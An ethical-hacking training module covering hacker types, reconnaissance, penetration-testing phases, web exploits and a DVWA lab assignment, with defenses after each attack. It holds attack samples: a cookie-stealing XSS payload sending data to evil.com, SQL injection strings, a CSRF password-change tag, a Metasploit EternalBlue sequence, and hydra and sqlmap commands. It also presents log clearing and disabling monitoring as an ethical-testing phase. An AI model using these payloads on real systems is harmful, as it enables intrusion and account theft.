ISDM (INDEPENDENT SKILL DEVELOPMENT MISSION

TYPES OF HACKERS (BLACK HAT, WHITE HAT, GREY HAT)

📌 CHAPTER 1: INTRODUCTION TO HACKING & HACKERS

1.1 What is Hacking?

Hacking is the **practice of gaining unauthorized access** to computer systems, networks, or data by exploiting security weaknesses. It can be used for **malicious purposes**, ethical security testing, or in some cases, a mix of both.

1.2 Who are Hackers?

A hacker is an individual who **possesses advanced computer skills and cybersecurity knowledge** and uses them to explore, exploit, or secure digital systems.

Hackers are categorized based on **their intent, actions, and legality of their activities**. The three main types of hackers are:

- **Black Hat Hackers** (Malicious)
- **White Hat Hackers** (Ethical)
- **Grey Hat Hackers** (A mix of both)

🖼️ Diagram: Types of Hackers

Hackers

├──── Black Hat Hackers (Illegal, Malicious)

├──── White Hat Hackers (Legal, Ethical)

└──── Grey Hat Hackers (Ethically Questionable)

📌 Chapter 2: Black Hat Hackers (The Malicious Cybercriminals)

2.1 Who are Black Hat Hackers?

Black Hat hackers are **cybercriminals** who break into computer systems **without permission**, intending to steal data, disrupt services, spread malware, or commit fraud. Their activities are **illegal** and punishable by law.

🚨 Characteristics of Black Hat Hackers:

✓ Work **independently** or for **criminal organizations**.
✓ Use hacking for **financial gain, espionage, or revenge**.
✓ Exploit **security vulnerabilities** in systems.
✓ Spread **malware, ransomware, and viruses**.
✓ Engage in **identity theft, fraud, and cyber warfare**.

2.2 Techniques Used by Black Hat Hackers

📌 Common Methods of Attack:

Attack Type	Description
Phishing	Fake emails trick users into revealing sensitive information.

Ransomware	Encrypts a victim's data and demands a ransom.
DDoS Attacks	Overloads servers with traffic, making them unavailable.
SQL Injection	Exploits database vulnerabilities to extract data.

2.3 Real-World Examples of Black Hat Hacking

📌 Case Study 1: WannaCry Ransomware Attack (2017)

- Used an exploit to **infect 200,000+ computers worldwide**.
- Encrypted files and demanded **Bitcoin ransom payments**.
- **Hospitals, banks, and companies were affected**.

📌 Case Study 2: Equifax Data Breach (2017)

- Hackers exploited a **website vulnerability**.
- **147 million people** had their **personal data exposed**.
- Included **Social Security numbers, addresses, and credit card details**.

✓ Legal Consequences:

Black Hat hacking is a criminal offense. Hackers can face **heavy fines, imprisonment, or both** under laws such as:

- **Computer Fraud and Abuse Act (CFAA) (USA)**
- **General Data Protection Regulation (GDPR) (EU)**

📌 Chapter 3: White Hat Hackers (The Ethical Security Experts)

3.1 Who are White Hat Hackers?

White Hat hackers, also known as **ethical hackers**, use their cybersecurity skills to **strengthen security systems** and **prevent cyber attacks**. They **follow legal guidelines** and work for organizations, governments, and cybersecurity firms.

✓ **Characteristics of White Hat Hackers:**
✓ Work **legally** and are often **certified professionals**.
✓ Help companies **identify and fix vulnerabilities**.
✓ Use hacking skills for **good** (prevent cybercrime).
✓ Perform **penetration testing** to test security defenses.

3.2 Ethical Hacking Techniques

📌 **Common White Hat Hacking Methods:**

Technique	Purpose
Penetration Testing	Simulating attacks to test system security.
Security Auditing	Identifying and fixing vulnerabilities.
Network Monitoring	Detecting suspicious activities in real-time.
Reverse Engineering	Analyzing malware to develop countermeasures.

3.3 How to Become a White Hat Hacker

✓ Obtain cybersecurity certifications such as:

- **Certified Ethical Hacker (CEH)**
- **Offensive Security Certified Professional (OSCP)**
- **CompTIA Security+**

✓ Learn **ethical hacking tools** like:

- **Metasploit** (For penetration testing)
- **Wireshark** (For network analysis)
- **Burp Suite** (For web security testing)

3.4 Real-World Examples of White Hat Hacking

📌 Case Study 1: Google's Bug Bounty Program

- Google rewards White Hat hackers who **find security flaws** in its systems.
- Hackers have earned **millions of dollars** for responsible disclosures.

📌 Case Study 2: Kevin Mitnick (Former Black Hat turned White Hat)

- Once an infamous hacker, later **became a cybersecurity consultant**.
- Helps businesses **improve their security** through ethical hacking.

📌 Chapter 4: Grey Hat Hackers (The Ethical Rule-Breakers)

4.1 Who are Grey Hat Hackers?

Grey Hat hackers **lie between Black Hat and White Hat hackers**. They sometimes **break rules or access systems without permission,** but their intent is not always malicious.

✓ **Characteristics of Grey Hat Hackers:**
✓ **Identify security flaws** without legal authorization.
✓ Sometimes **inform organizations** about vulnerabilities.
✓ May **demand payment** in exchange for security fixes.
✓ Operate in a **legal grey area**—actions are not strictly legal but not outright criminal.

4.2 Techniques Used by Grey Hat Hackers

📌 Common Grey Hat Hacking Activities:

Activity	Ethical Concern
Unauthorized Penetration Testing	Hacking a company's system without permission.
Disclosing Security Flaws	Publicly revealing vulnerabilities before the company fixes them.
Developing Security Exploits	Creating tools that can be misused by criminals.

4.3 Real-World Examples of Grey Hat Hacking

📌 Case Study 1: The Hacker Who Fixed NASA's Security

- A Grey Hat hacker **broke into NASA's network** and found security flaws.

- Instead of exploiting them, he **reported the issues** and helped fix them.

📌 Case Study 2: Facebook Hacker Who Found a Bug in WhatsApp

- A security researcher **hacked WhatsApp and found a serious security flaw**.
- Instead of exploiting it, he **reported it to Facebook and received a bug bounty**.

✓ Legal and Ethical Issues:

- **Some Grey Hat actions are illegal** and punishable.
- **Companies may take legal action** against unauthorized access.
- **Ethical dilemmas** arise when security researchers expose flaws publicly instead of reporting them responsibly.

📌 Chapter 5: Summary

✅ Key Takeaways

- **Black Hat Hackers** are criminals who **steal data, spread malware, and commit fraud**.
- **White Hat Hackers** work legally to **improve cybersecurity and prevent attacks**.
- **Grey Hat Hackers** operate in a **legal grey area**, sometimes hacking without permission but for ethical reasons.

🚀 **Hacking can be a powerful skill**—use it **ethically** to protect systems, prevent cybercrime, and build a successful career in cybersecurity.

📌 Chapter 6: Next Steps

- **Learn ethical hacking** with cybersecurity courses.
- **Practice penetration testing** using legal hacking labs like TryHackMe & Hack The Box.
- **Follow cybersecurity news** (OWASP, MITRE ATT&CK, Bug Bounty programs).

RECONNAISSANCE & FOOTPRINTING (ACTIVE VS PASSIVE)

📌 CHAPTER 1: INTRODUCTION TO RECONNAISSANCE & FOOTPRINTING

1.1 What is Reconnaissance?

Reconnaissance is the **first phase of ethical hacking and penetration testing**, where attackers or security professionals gather information about a target system, network, or organization. This phase helps **identify potential vulnerabilities** that can be exploited.

Reconnaissance is crucial because it allows an attacker to **understand the target's infrastructure** before attempting an intrusion. Security professionals use the same techniques to identify weaknesses and secure systems.

1.2 What is Footprinting?

Footprinting is the **process of collecting data about a target system, organization, or network** to understand its security posture. It includes identifying **IP addresses, domain names, network configurations, email addresses, and security mechanisms**.

📌 **Real-World Example:**

- Before launching a cyber attack, an attacker might gather information about a company's **public websites, employee email addresses, and open network ports**.
- Ethical hackers use **the same techniques** to assess security risks and strengthen defenses.

🖼️ Diagram: Reconnaissance & Footprinting Process

Reconnaissance

├──── Passive Reconnaissance (No direct interaction)

│ ├──── Google Hacking

│ ├──── WHOIS Lookup

│ ├──── Social Media Profiling

│ └──── Public Record Analysis

└──── Active Reconnaissance (Direct interaction)

├──── Port Scanning

├──── Network Mapping

├──── DNS Enumeration

└──── Vulnerability Scanning

📌 CHAPTER 2: TYPES OF RECONNAISSANCE

2.1 Passive Reconnaissance

Passive reconnaissance is the process of **gathering information about a target without directly interacting with its systems**. The target remains unaware of any information gathering activities.

📌 **Key Characteristics:**

✓ No direct contact with the target network.

✓ Leaves **no logs** or traces.

✓ Uses **publicly available information**.

📌 **Common Passive Reconnaissance Techniques:**

Technique	Description
Google Dorking	Using advanced Google search operators to find sensitive data.
WHOIS Lookup	Retrieves domain registration details like owner, IP addresses, and contact info.
Social Media Profiling	Extracting employee names, roles, and organizational data from LinkedIn, Twitter, etc.
Public Record Analysis	Searching business directories, government records, and leaked databases.

📌 **Example of Google Dorking:** Attackers use **Google search operators** to find sensitive files:

site:example.com filetype:pdf confidential

intitle:"Index of /" password

✓ **Defense Mechanisms:**

- Avoid **oversharing information** on websites and social media.
- Use **robots.txt** to block search engine crawlers from indexing sensitive pages.

- Regularly audit **publicly accessible documents and records**.

2.2 Active Reconnaissance

Active reconnaissance involves **direct interaction with the target system**, allowing attackers to collect real-time data. However, this activity is **detectable** because it generates logs on the target network.

📌 **Key Characteristics:**

✓ Requires direct engagement with the target.

✓ Generates **logs and alerts**, making detection possible.

✓ Helps in identifying **live hosts, open ports, and vulnerabilities**.

📌 **Common Active Reconnaissance Techniques:**

Technique	Description
Port Scanning	Identifies open ports and running services using tools like Nmap.
DNS Enumeration	Discovers subdomains and DNS records with tools like nslookup.
Network Mapping	Identifies network topology and active devices.
Vulnerability Scanning	Scans for security flaws in web applications, databases, and servers.

📌 **Example of Port Scanning using Nmap:** Attackers or security professionals use Nmap to scan open ports:

```
nmap -sS -p 1-65535 192.168.1.1
```

✓ **Defense Mechanisms:**

- Implement **Intrusion Detection Systems (IDS)** to monitor unauthorized scanning.
- Configure **firewalls to block unnecessary ports**.
- Regularly perform **internal security audits** to identify exposed services.

📌 Chapter 3: Passive Reconnaissance Techniques

3.1 Google Dorking (Google Hacking)

Google Dorking uses **advanced search queries** to find sensitive data, misconfigured servers, and publicly accessible files.

📌 Examples of Google Dorking Queries:

Query	Purpose
site:example.com filetype:xls	Finds spreadsheets on a domain.
intitle:"index of /"	Lists publicly exposed directories.
inurl:admin	Finds admin login portals.

✓ Defense Mechanisms:

- **Block search engines** from indexing sensitive directories using robots.txt.
- **Restrict file access** to authorized users only.
- **Monitor external exposure** using Google Alerts.

3.2 WHOIS Lookup

WHOIS lookup provides **domain registration details**, including **domain owner, IP addresses, and contact information**.

📌 **Example WHOIS Command:**

whois example.com

✓ **Defense Mechanisms:**

- Use **WHOIS Privacy Protection** to hide personal data.
- Register domains with **privacy-focused services**.

3.3 Social Media Intelligence (SOCMINT)

Attackers analyze **LinkedIn, Twitter, and company websites** to gather employee details, email formats, and corporate structure.

✓ **Defense Mechanisms:**

- Implement **employee cybersecurity awareness training**.
- Limit **public exposure of sensitive company details**.
- Use **fake email addresses for public contact pages**.

📌 CHAPTER 4: ACTIVE RECONNAISSANCE TECHNIQUES

4.1 Port Scanning using Nmap

Port scanning helps attackers **identify open ports and running services** on a target machine.

📌 **Nmap Scan Types:**

Scan Type	Command	Purpose
SYN Scan	nmap -sS 192.168.1.1	Quick and stealthy scan.
Full TCP Scan	nmap -sT 192.168.1.1	Establishes full connections.
Version Detection	nmap -sV 192.168.1.1	Identifies software versions.

✓ **Defense Mechanisms:**

- Use **firewalls to block unused ports**.
- Deploy **Intrusion Prevention Systems (IPS)** to detect scans.

4.2 DNS Enumeration

Attackers use DNS enumeration to **extract domain records, subdomains, and mail servers**.

📌 **Example using nslookup:**

nslookup -type=MX example.com

✓ **Defense Mechanisms:**

- Restrict **public DNS records** exposure.
- Disable **zone transfers** between unauthorized servers.

📌 Chapter 5: Case Study – Equifax Data Breach (2017)

📌 Attack Overview:

- Hackers used **publicly available data** to find Equifax's vulnerable systems.
- Exploited an **unpatched Apache Struts vulnerability** after identifying the technology.
- Stole **147 million customer records** containing personal information.

✓ Lessons Learned:

- **Keep systems updated** to patch vulnerabilities.
- **Monitor passive reconnaissance activities** to prevent data leaks.
- **Implement stricter access controls** for critical systems.

📌 Chapter 6: Summary

✅ Key Takeaways:

- Reconnaissance is the **first step in ethical hacking**.
- **Passive Reconnaissance** involves gathering publicly available data **without detection**.
- **Active Reconnaissance** directly interacts with a target **but is detectable**.
- **Security best practices** help **prevent reconnaissance attacks**.

📌 Chapter 7: Next Steps

- Practice **ethical reconnaissance** using **Kali Linux tools**.
- Learn **ethical hacking methodologies** (OSINT, network enumeration).
- Stay updated on **cyber threat intelligence sources**.

PENETRATION TESTING PHASES & TOOLS (METASPLOIT, NMAP, BURP SUITE)

📌 CHAPTER 1: INTRODUCTION TO PENETRATION TESTING

1.1 What is Penetration Testing?

Penetration Testing (Pen Testing) is a **controlled hacking simulation** where security professionals attempt to exploit vulnerabilities in a system to assess its security. Unlike cybercriminals, ethical hackers perform penetration testing with permission and report findings to strengthen security.

1.2 Importance of Penetration Testing

Penetration testing is crucial for:

✓ Identifying **vulnerabilities** before attackers do.

✓ Strengthening **network defenses**.

✓ Ensuring compliance with **security regulations (GDPR, PCI-DSS, ISO 27001)**.

✓ Protecting **customer data** from breaches.

📌 Real-World Example: Capital One Breach (2019)

- A hacker exploited a **firewall misconfiguration** to steal data of **100 million users**.
- Proper **penetration testing could have detected this flaw** before the attack.

1.3 Types of Penetration Testing

Type	Description	Example
Black Box Testing	No prior knowledge of target	Simulates an outsider attack
White Box Testing	Full system knowledge is provided	Tests from an internal perspective
Gray Box Testing	Partial knowledge of target	Simulates an insider threat
External Penetration Testing	Focuses on publicly available systems	Websites, cloud services
Internal Penetration Testing	Tests internal company networks	Employee access abuse

---

📌 Chapter 2: The 5 Phases of Penetration Testing

Penetration testing follows a structured approach to **simulate real-world attacks** systematically.

2.1 Phase 1: Reconnaissance (Information Gathering)

This is the **first and most important step** in penetration testing. It involves **collecting information about the target system** to plan an attack.

✓ Passive Reconnaissance:

- Gathering **publicly available** information (Google, social media, WHOIS records).

- Identifying **employee emails and subdomains**.

✓ **Active Reconnaissance:**

- Directly interacting with the target (e.g., **Nmap scanning**).
- Identifying open ports, services, and software versions.

📌 **Tools for Reconnaissance**

- **Google Dorking** – Advanced search queries to find hidden files.
- **Nmap** – Scans for open ports and running services.
- **theHarvester** – Extracts emails and domain information.

2.2 Phase 2: Scanning (Identifying Vulnerabilities)

After gathering information, the next step is **scanning the network for vulnerabilities**.

✓ **Types of Scanning**

- **Network Scanning:** Identifies **live hosts and open ports**.
- **Vulnerability Scanning:** Uses automated tools to find security weaknesses.

📌 **Tools for Scanning**

- **Nmap** – Scans for open ports and running services.
- **Nikto** – Scans for web vulnerabilities.
- **OpenVAS** – Comprehensive vulnerability scanning tool.

🖼️ **Diagram: How Scanning Works**

1. Attacker runs Nmap to find open ports.

2. Uses OpenVAS to detect vulnerabilities.

3. Identifies security weaknesses in the target system.

2.3 Phase 3: Exploitation (Gaining Access)

In this phase, **attackers attempt to exploit vulnerabilities** to gain control of the target system.

✓ Types of Exploitation

- **Privilege Escalation** – Gaining higher access after initial entry.
- **Remote Code Execution (RCE)** – Running malicious code on the victim's system.

📌 Tools for Exploitation

- **Metasploit Framework** – The most powerful exploitation tool.
- **SQLmap** – Automates SQL injection attacks.
- **John the Ripper** – Cracks weak passwords.

📌 Example: Using Metasploit for Exploitation

1. Open Metasploit console:
2. msfconsole
3. Search for an exploit:
4. search ms17_010
5. Set up the target:
6. use exploit/windows/smb/ms17_010_eternalblue

7. set RHOSTS 192.168.1.10
8. Launch the attack:
9. exploit

2.4 Phase 4: Maintaining Access (Persistence)

Once inside, attackers **install backdoors** to maintain access.

✓ Methods of Maintaining Access

- **Creating new user accounts** with administrative privileges.
- **Installing Remote Access Trojans (RATs)**.
- **Exploiting system misconfigurations**.

📌 Tools for Maintaining Access

- **Metasploit (persistence module)**.
- **Empire (Post-exploitation framework)**.
- **Netcat (Creates remote shells)**.

✓ Prevention: Regular security audits, monitoring, and updating systems.

2.5 Phase 5: Covering Tracks & Reporting

After testing, ethical hackers **remove all traces** of their actions and **create a report** with recommendations.

✓ Covering Tracks

- **Clearing logs** to remove attack evidence.

- **Disabling monitoring tools**.

📌 **Tools for Covering Tracks**

- **Metasploit (clears logs automatically)**.
- **Shred (securely deletes files in Linux)**.

✓ **Reporting Includes:**

1. **List of vulnerabilities found.**
2. **Impact assessment of each exploit.**
3. **Mitigation strategies to fix issues.**

📌 Chapter 3: Penetration Testing Tools (Metasploit, Nmap, Burp Suite)

3.1 Metasploit Framework (Exploitation Tool)

Metasploit is **the most widely used penetration testing framework** for finding and exploiting vulnerabilities.

✓ **Key Features:**

- Thousands of **pre-built exploits**.
- Automates **post-exploitation tasks**.
- Includes **payload generators** for backdoors.

📌 **Example: Scanning for Vulnerabilities Using Metasploit**

```
msfconsole

use auxiliary/scanner/ssh/ssh_version
```

set RHOSTS 192.168.1.10

run

✓ **Best Practices:** Use Metasploit in **isolated lab environments**.

3.2 Nmap (Network Scanning Tool)

Nmap (Network Mapper) is **the best tool for scanning networks** and finding vulnerabilities.

✓ **Key Features:**

- Identifies **open ports and services**.
- Detects **firewalls and security measures**.
- Supports **custom scripts** for advanced scanning.

📌 **Example: Scan for Open Ports**

nmap -sV -A 192.168.1.10

✓ **Best Practices:** Combine Nmap with vulnerability scanners like OpenVAS.

3.3 Burp Suite (Web Security Testing)

Burp Suite is **the leading tool for web application penetration testing**.

✓ **Key Features:**

- Intercepts and **modifies HTTP requests**.
- Finds **SQL injection and XSS vulnerabilities**.

- Includes **automated scanning**.

📌 **Example: Intercept HTTP Requests**

1. Open Burp Suite.
2. Set browser proxy to **127.0.0.1:8080**.
3. Capture HTTP requests and modify parameters.

✓ **Best Practices:** Test only on **authorized applications**.

📌 Chapter 4: Case Study – Real-World Penetration Test

📌 **Scenario:**
A company hires ethical hackers to test its **online banking system**.

🔍 **Findings:**

- **Weak admin credentials** were discovered using brute-force attacks.
- **SQL Injection vulnerability** allowed access to customer data.
- **Firewall misconfigurations** exposed services to attackers.

✓ **Solutions:**

- Enforced **strong passwords & MFA**.
- Implemented **firewall security hardening**.
- Fixed **SQL injection flaws** with parameterized queries.

📌 Chapter 5: Summary & Next Steps

✅ Key Takeaways:

- Penetration testing **identifies and fixes security weaknesses**.
- It follows **5 phases: Reconnaissance, Scanning, Exploitation, Persistence, and Reporting**.
- **Metasploit, Nmap, and Burp Suite** are essential penetration testing tools.

🚀 Next Steps:

- Practice in **Kali Linux virtual labs**.
- Join **CTF (Capture the Flag) challenges**.
- Stay updated with **OWASP Top 10 threats**.

WEB APPLICATION SECURITY & EXPLOITS (XSS, SQL INJECTION, CSRF)

📌 CHAPTER 1: INTRODUCTION TO WEB APPLICATION SECURITY

1.1 What is Web Application Security?

Web application security refers to the **measures and best practices used to protect websites and online services from cyber threats**. As web applications handle sensitive data such as login credentials, financial transactions, and personal user information, they are common targets for attackers.

1.2 Why is Web Application Security Important?

🚨 Real-World Example: Major Web Application Breaches

- **Yahoo Data Breach (2013-2014)** – Attackers exploited security vulnerabilities, compromising **3 billion user accounts**.
- **Equifax Hack (2017)** – Due to an unpatched web application vulnerability, **147 million records** were leaked.
- **TalkTalk SQL Injection Attack (2015)** – Cybercriminals **exploited SQL injection**, stealing **157,000 customer records**.

🔍 Common Web Application Threats

Threat	Impact
SQL Injection (SQLi)	Attacker gains unauthorized access to databases.
Cross-Site Scripting (XSS)	Attacker injects malicious scripts into webpages.

Cross-Site Request Forgery (CSRF)	Attackers trick users into performing unwanted actions.
Broken Authentication	Attackers hijack user accounts.
Security Misconfigurations	Hackers exploit improperly configured security settings.

✓ **Best Practices:**

- Use **secure coding techniques** to prevent vulnerabilities.
- Regularly update **web applications** and **security patches**.
- Implement **Web Application Firewalls (WAF)** for additional protection.

📌 Chapter 2: SQL Injection (SQLi) – Exploiting Web Databases

2.1 What is SQL Injection?

SQL Injection (SQLi) is a web security vulnerability that allows attackers to **manipulate a website's database by injecting malicious SQL queries**. This can lead to:

- **Unauthorized access** to user accounts.
- **Database modification** (altering, deleting, or inserting data).
- **Sensitive data exposure** (passwords, financial records, etc.).

🖼️ Diagram: How SQL Injection Works

1. Attacker enters malicious SQL query in an input field.

2. The server executes the query without proper validation.

3. The attacker gains access to the database.

2.2 Types of SQL Injection Attacks

📌 1. Classic SQL Injection (Error-Based)

- Attackers enter specially crafted SQL queries to trigger **database errors,** revealing sensitive information.
  - 📌 **Example**:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'password';

✓ Defense Mechanisms:

- Use **prepared statements** and **parameterized queries** instead of dynamic SQL.

📌 2. Blind SQL Injection

- The attacker does not receive database error messages but determines the response by **observing application behavior**.
  - 📌 **Example**:

SELECT * FROM users WHERE id = 1 AND IF(1=1, SLEEP(5), NULL);

✓ Defense Mechanisms:

- Limit **database response messages** to prevent information leaks.

📌 3. Time-Based SQL Injection

- Attackers force the database to **delay responses,** helping them extract information.
  - 📌 **Example**:

SELECT * FROM users WHERE id = 1; WAITFOR DELAY '0:0:5';

✓ **Defense Mechanisms:**

- Implement **Web Application Firewalls (WAF)** to block malicious queries.

📌 Chapter 3: Cross-Site Scripting (XSS) – Injecting Malicious Scripts

3.1 What is XSS?

Cross-Site Scripting (XSS) is a **client-side attack** where attackers inject **malicious JavaScript** into web pages. When users visit the infected page, their **browsers execute the script,** allowing attackers to:

- **Steal cookies & session tokens** (leading to account hijacking).
- **Modify website content** to mislead users.
- **Redirect victims** to phishing or malware sites.

🖼️ Diagram: How XSS Works

1. Attacker injects a malicious script into a web page.

2. The victim loads the page, unknowingly executing the script.

3. The attacker steals user data or performs malicious actions.

3.2 Types of XSS Attacks

📌 1. Stored XSS (Persistent XSS)

- Malicious scripts are permanently stored in the web application's database and executed whenever a user visits the

infected page.

📌 **Example**:

```
<script>document.write('<img
src="http://evil.com/steal.php?cookie='+document.cookie+'">');</scr
ipt>
```

✓ **Defense Mechanisms:**

- **Sanitize all user inputs** before storing them in the database.

📌 **2. Reflected XSS (Non-Persistent XSS)**

- Malicious scripts are included in **URL parameters** and executed when a victim **clicks a crafted link**.

📌 **Example**:

```
http://victim.com/search?q=<script>alert('XSS Attack!')</script>
```

✓ **Defense Mechanisms:**

- Use **input validation and encoding techniques**.

📌 **3. DOM-Based XSS**

- Attackers manipulate **JavaScript in the browser** to execute malicious code.

📌 **Example**:

```
var url = document.location.href;

document.write("<p>" + url + "</p>");
```

✓ **Defense Mechanisms:**

- Use **Content Security Policy (CSP)** to restrict JavaScript execution.

📌 Chapter 4: Cross-Site Request Forgery (CSRF) – Exploiting User Actions

4.1 What is CSRF?

CSRF is an attack where hackers **trick users into unknowingly performing actions on a website** where they are authenticated. This can lead to:

- **Unwanted transactions** (e.g., sending money without permission).
- **Password changes** on victim accounts.
- **Account deletion** without user consent.

🖼️ Diagram: How CSRF Works

1. Victim logs into their bank account.

2. Attacker tricks them into clicking a malicious link.

3. The link executes unauthorized actions using the victim's authentication.

4.2 CSRF Attack Example

📌 Example: Forcing a Password Change

<img src="http://bank.com/change-password?newpass=hacked123">

- If the user is logged into their bank account, the attack changes their password without consent.

✓ Defense Mechanisms:

- Use **CSRF Tokens** to verify user requests.
- Require **re-authentication for sensitive actions**.

📌 Chapter 5: Case Study – TalkTalk SQL Injection Attack (2015)

📌 Attack Overview

- Hackers exploited an **SQL Injection vulnerability** on TalkTalk's website.
- Gained access to **157,000 customer records**, including bank details.

📌 Impact

- The company **lost £77 million** due to fines and legal actions.
- Thousands of customers were affected by **identity theft and fraud**.

✓ Lessons Learned:

- **Sanitize all user inputs** to prevent SQL injection.
- Implement **firewall rules** to filter out malicious database queries.

📌 Chapter 6: Summary

✅ Key Takeaways

- **Web security is critical** to protect user data.

- **SQL Injection (SQLi)** exploits **database vulnerabilities**.
- **Cross-Site Scripting (XSS)** injects **malicious JavaScript**.
- **CSRF attacks trick users** into performing unauthorized actions.
- **Secure coding practices, input validation, and authentication techniques prevent attacks**.

📌 Chapter 7: Next Steps

- **Test security tools like Burp Suite & OWASP ZAP**.
- **Practice securing web apps using ethical hacking techniques**.
- **Stay updated on web security trends and CVE reports**.

ASSIGNMENT: WEB APPLICATION PENETRATION TESTING

TASK: PERFORM A PENETRATION TEST ON A TEST WEB APPLICATION USING TOOLS LIKE BURP SUITE.

OBJECTIVE: IDENTIFY VULNERABILITIES IN WEB APPLICATIONS AND RECOMMEND FIXES.

📝 Assignment: Web Application Penetration Testing

📌 Task: Perform a Penetration Test on a Test Web Application using Burp Suite

📌 Objective: Identify vulnerabilities in web applications and recommend fixes

---

📌 Step 1: Setting Up the Testing Environment

Before performing penetration testing, set up a **safe and controlled lab environment**.

1.1 Install Virtual Machine and Web Application

Use a **virtual machine (VM)** to run a **test web application** without affecting real-world systems.

✓ Recommended Virtualization Software:

- **VirtualBox** (Free, Open-source)
- **VMware Workstation** (Paid, Advanced Features)

✓ Download and Set Up a Vulnerable Web Application:

- **Damn Vulnerable Web Application (DVWA)** (Download here)
- **OWASP Juice Shop** (Download here)

- **Mutillidae** (Download here)

📌 Steps to Install DVWA on a Virtual Machine:

1. Install a **Linux-based VM** (Ubuntu or Kali Linux).
2. Install **Apache, MySQL, and PHP**:
3. sudo apt update && sudo apt install apache2 mysql-server php php-mysqli -y
4. Download and set up **DVWA**:
5. git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa
6. sudo chown -R www-data:www-data /var/www/html/dvwa
7. Configure MySQL for DVWA by updating the config.inc.php file.
8. Start Apache and MySQL services:
9. sudo systemctl start apache2
10. sudo systemctl start mysql
11. Access the **DVWA web interface** in your browser:
12. http://localhost/dvwa

📌 Step 2: Installing and Configuring Burp Suite

2.1 What is Burp Suite?

Burp Suite is an **industry-standard penetration testing tool** used for **intercepting, analyzing, and testing web application security**.

✓ **Download Burp Suite (Community Edition)** from PortSwigger.

2.2 Configuring Burp Suite for Web Testing

1. **Open Burp Suite** and go to **"Proxy" → "Options"**.
2. Set **intercept to "ON"** to capture HTTP requests.
3. Configure **your browser to use Burp Suite as a proxy**:
   - Go to **Firefox/Chrome settings → Proxy Settings**.
   - Set **HTTP Proxy: 127.0.0.1, Port: 8080**.
4. **Install Burp's CA Certificate** in your browser for HTTPS interception:
   - In Burp, go to **Proxy → Options → Import/Export CA Certificate**.
   - Install it in your browser's trusted certificates.

📌 Step 3: Performing Web Application Security Tests

3.1 Information Gathering (Reconnaissance)

📌 **Objective:** Identify application details like **server type, technologies, and exposed endpoints**.

✓ **Use Burp Suite's Passive Scanner:**

1. Browse the target application **while Burp Suite is running**.
2. Go to **"Target" → "Site Map"** to analyze discovered endpoints.
3. Identify **comments, JavaScript files, and error messages** for potential vulnerabilities.

✓ **Use Nmap for Network Reconnaissance:**

nmap -sV -p 80,443 <target-ip>

✓ **Look for:**

- **Server banners** (Apache, Nginx, IIS, etc.).
- **Hidden directories** (robots.txt, /admin folders).
- **Unprotected APIs** (/api/v1/ endpoints).

3.2 Testing for SQL Injection (SQLi)

📌 **Objective:** Identify **database vulnerabilities** that allow unauthorized access.

✓ **Steps to Test SQL Injection in Login Forms (DVWA Example):**

1. Intercept a **login request** in Burp Suite.
2. Modify the username parameter with a **SQLi payload**:
3. ' OR 1=1 --
4. Forward the modified request and check for authentication bypass.

✓ **Automate SQLi Testing with SQLmap:**

sqlmap -u "http://localhost/dvwa/login.php" --dbs --batch

🚨 **If vulnerable:** The database schema will be displayed.

✓ **Fix Recommendation:**

- Use **prepared statements** instead of dynamic SQL queries.

- **Sanitize user input** before executing SQL commands.

3.3 Testing for Cross-Site Scripting (XSS)

📌 **Objective:** Identify **JavaScript injection vulnerabilities** that allow data theft or session hijacking.

✓ Steps to Test XSS:

1. Find a **search or comment input field** on the web app.
2. Inject an XSS payload:
3. <script>alert('XSS')</script>
4. If an alert box appears, **the application is vulnerable to XSS**.

✓ Use Burp Suite to Identify XSS:

1. Go to **"Intruder" → "Payloads" → Add JavaScript Injection Payloads**.
2. Run the attack and analyze responses for execution markers.

✓ Fix Recommendation:

- **Sanitize and escape user input** to prevent script execution.
- Use **Content Security Policy (CSP)** headers to block inline scripts.

3.4 Testing for Broken Authentication

📌 **Objective:** Identify weaknesses in login mechanisms.

✓ Steps to Test:

1. **Check for weak login credentials** using brute force:
2. hydra -l admin -P rockyou.txt http://localhost/dvwa/login.php http-post-form
3. **Test session hijacking**:
    - Log in as a user.
    - Copy the **session token from cookies**.
    - Try using it in another browser.

🚨 **If session persists: Session fixation vulnerability** is present.

✓ **Fix Recommendation:**

- Implement **Multi-Factor Authentication (MFA)**.
- Use **secure cookie flags** (HttpOnly, Secure).
- Expire sessions after **inactivity**.

3.5 Testing for Security Misconfigurations

📌 **Objective:** Detect **default credentials, open directories, and outdated software**.

✓ **Steps to Test:**

- Look for **admin panels with default logins** (admin/admin).
- Check for **open directories** by browsing http://localhost/dvwa/admin/.
- Use **Nikto scanner** to detect vulnerabilities:
- nikto -h http://localhost/dvwa

✓ **Fix Recommendation:**

- **Disable directory listing** (Options -Indexes in Apache).
- **Remove unnecessary services** and default accounts.
- **Keep software up to date**.

📌 Step 4: Reporting and Fixing Vulnerabilities

After testing, **document your findings** and provide solutions.

4.1 Creating a Penetration Testing Report

Vulnerability	Severity	Affected Component	Fix Recommendation
SQL Injection	Critical	Login Page	Use prepared statements, input validation
XSS	High	Search Function	Sanitize input, implement CSP headers
Weak Authentication	Medium	Login Form	Implement MFA, enforce strong passwords

4.2 Fixing Identified Issues

✓ **Developers should:**

- Apply **security patches**.
- **Harden web applications** (disable unnecessary services).

- **Regularly test applications** for vulnerabilities.

📌 Conclusion

✅ What You Learned:

- How to set up a **safe penetration testing environment**.
- How to use **Burp Suite for web security testing**.
- How to detect **SQL Injection, XSS, authentication flaws, and misconfigurations**.
- How to **document vulnerabilities** and recommend fixes.

🚀 Next Steps:

- Try **bug bounty programs** like HackerOne & Bugcrowd.
- Learn **advanced exploitation techniques** (CSRF, SSRF, RCE).
- Explore **Web Application Firewalls (WAFs)** to prevent attacks.
